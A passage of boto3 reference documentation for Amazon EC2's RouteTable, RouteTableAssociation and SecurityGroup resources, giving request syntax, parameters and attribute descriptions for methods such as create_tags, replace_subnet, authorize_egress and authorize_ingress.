Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = route_table.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified route table. You must disassociate the route table from any subnets before you can delete it. You can't delete the main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRouteTable) + +**Request Syntax** + +response = route_table.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_route_tables()](#EC2.Client.describe_route_tables "EC2.Client.describe_route_tables") to update the attributes of the RouteTable resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +route_table.reload() + +Returns + +None + +[RouteTableAssociation](#id1250) +---------------------------------------------------------------------------------------- + +_class_ EC2.RouteTableAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTableAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTableAssociation.id "EC2.RouteTableAssociation.id") + +These are the resource's available attributes: + +- [association_state](#EC2.RouteTableAssociation.association_state "EC2.RouteTableAssociation.association_state") +- [gateway_id](#EC2.RouteTableAssociation.gateway_id "EC2.RouteTableAssociation.gateway_id") +- [main](#EC2.RouteTableAssociation.main "EC2.RouteTableAssociation.main") +- [route_table_association_id](#EC2.RouteTableAssociation.route_table_association_id "EC2.RouteTableAssociation.route_table_association_id") +- [route_table_id](#EC2.RouteTableAssociation.route_table_id "EC2.RouteTableAssociation.route_table_id") +- [subnet_id](#EC2.RouteTableAssociation.subnet_id "EC2.RouteTableAssociation.subnet_id") + +These are the resource's available references: + +- [route_table](#EC2.RouteTableAssociation.route_table "EC2.RouteTableAssociation.route_table") +- [subnet](#EC2.RouteTableAssociation.subnet "EC2.RouteTableAssociation.subnet") + +These are the resource's available actions: + +- [delete()](#EC2.RouteTableAssociation.delete "EC2.RouteTableAssociation.delete") +- [get_available_subresources()](#EC2.RouteTableAssociation.get_available_subresources "EC2.RouteTableAssociation.get_available_subresources") +- [replace_subnet()](#EC2.RouteTableAssociation.replace_subnet "EC2.RouteTableAssociation.replace_subnet") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTableAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_state + +- _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +gateway_id + +- _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + +main + +- _(boolean) --_ + + Indicates whether this is the main route table. + + +route_table_association_id + +- _(string) --_ + + The ID of the association. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +route_table + +(RouteTable) The related route_table if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates a subnet or gateway from a route table. + +After you perform this action, the subnet no longer uses the routes in the route table. Instead, it uses the routes in the VPC's main route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateRouteTable) + +**Request Syntax** + +response = route_table_association.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace_subnet(kwargs_) + +Changes the route table associated with a given subnet, internet gateway, or virtual private gateway in a VPC. After the operation completes, the subnet or gateway uses the routes in the new route table. For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +You can also use this operation to change which table is the main route table in the VPC. Specify the main route table's association ID and the route table ID of the new main route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRouteTableAssociation) + +**Request Syntax** + +route_table_association = route_table_association.replace_subnet( + DryRun=True|False, + RouteTableId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **RouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the new route table to associate with the subnet. + + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +[SecurityGroup](#id1251) +------------------------------------------------------------------------ + +_class_ EC2.SecurityGroup(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) SecurityGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.SecurityGroup.id "EC2.SecurityGroup.id") + +These are the resource's available attributes: + +- [description](#EC2.SecurityGroup.description "EC2.SecurityGroup.description") +- [group_id](#EC2.SecurityGroup.group_id "EC2.SecurityGroup.group_id") +- [group_name](#EC2.SecurityGroup.group_name "EC2.SecurityGroup.group_name") +- [ip_permissions](#EC2.SecurityGroup.ip_permissions "EC2.SecurityGroup.ip_permissions") +- [ip_permissions_egress](#EC2.SecurityGroup.ip_permissions_egress "EC2.SecurityGroup.ip_permissions_egress") +- [owner_id](#EC2.SecurityGroup.owner_id "EC2.SecurityGroup.owner_id") +- [tags](#EC2.SecurityGroup.tags "EC2.SecurityGroup.tags") +- [vpc_id](#EC2.SecurityGroup.vpc_id "EC2.SecurityGroup.vpc_id") + +These are the resource's available actions: + +- [authorize_egress()](#EC2.SecurityGroup.authorize_egress "EC2.SecurityGroup.authorize_egress") +- [authorize_ingress()](#EC2.SecurityGroup.authorize_ingress "EC2.SecurityGroup.authorize_ingress") +- [create_tags()](#EC2.SecurityGroup.create_tags "EC2.SecurityGroup.create_tags") +- [delete()](#EC2.SecurityGroup.delete "EC2.SecurityGroup.delete") +- [get_available_subresources()](#EC2.SecurityGroup.get_available_subresources "EC2.SecurityGroup.get_available_subresources") +- [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") +- [reload()](#EC2.SecurityGroup.reload "EC2.SecurityGroup.reload") +* [revoke_egress()](#EC2.SecurityGroup.revoke_egress "EC2.SecurityGroup.revoke_egress") +* [revoke_ingress()](#EC2.SecurityGroup.revoke_ingress "EC2.SecurityGroup.revoke_ingress") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The SecurityGroup's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.SecurityGroup.load "EC2.SecurityGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +description + +* _(string) --_ + + A description of the security group. + + +group_id + +* _(string) --_ + + The ID of the security group. + + +group_name + +* _(string) --_ + + The name of the security group. + + +ip_permissions + +* _(list) --_ + + The inbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +ip_permissions_egress + +* _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +owner_id + +* _(string) --_ + + The AWS account ID of the owner of the security group. + + +tags + +* _(list) --_ + + Any tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +authorize_egress(kwargs_) + +[VPC only] Adds the specified egress rules to a security group for use with a VPC. + +An outbound rule permits instances to send traffic to the specified IPv4 or IPv6 CIDR address ranges, or to the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For the TCP and UDP protocols, you must also specify the destination port or port range. For the ICMP protocol, you must also specify the ICMP type and code. You can use -1 for the type or code to mean all types or all codes. + +Rule changes are propagated to affected instances as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.authorize_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Returns + +None + +authorize_ingress(kwargs_) + +Adds the specified ingress rules to a security group. + +An inbound rule permits instances to receive traffic from the specified IPv4 or IPv6 CIDR address ranges, or from the instances associated with the specified destination security groups. + +You specify a protocol for each rule (for example, TCP). For TCP and UDP, you must also specify the destination port or port range. For ICMP/ICMPv6, you must also specify the ICMP/ICMPv6 type and code. You can use -1 to mean all types or all codes. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +For more information about VPC security group limits, see [Amazon VPC Limits](https://docs.aws.amazon.com/vpc/latest/userguide/amazon-vpc-limits.html) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AuthorizeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.authorize_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- + + The IPv4 address range, in CIDR format. You can't specify this parameter when specifying a source security group. To specify an IPv6 address range, use a set of IP permissions. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **FromPort** (_integer_) -- + + The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all types. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- + + The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). To specify icmpv6 , use a set of IP permissions. + + [VPC only] Use -1 to specify all protocols. If you specify -1 or a protocol other than tcp , udp , or icmp , traffic on all ports is allowed, regardless of any ports you specify. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. For EC2-VPC, the source security group must be in the same VPC. +* **SourceSecurityGroupOwnerId** (_string_) -- [nondefault VPC] The AWS account ID for the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. Creates rules that grant full ICMP, UDP, and TCP access. To create a rule with a specific IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- + + The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all codes. If you specify all ICMP types, you must specify all codes. + + Alternatively, use a set of IP permissions to specify multiple rules and a description for the rule. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified 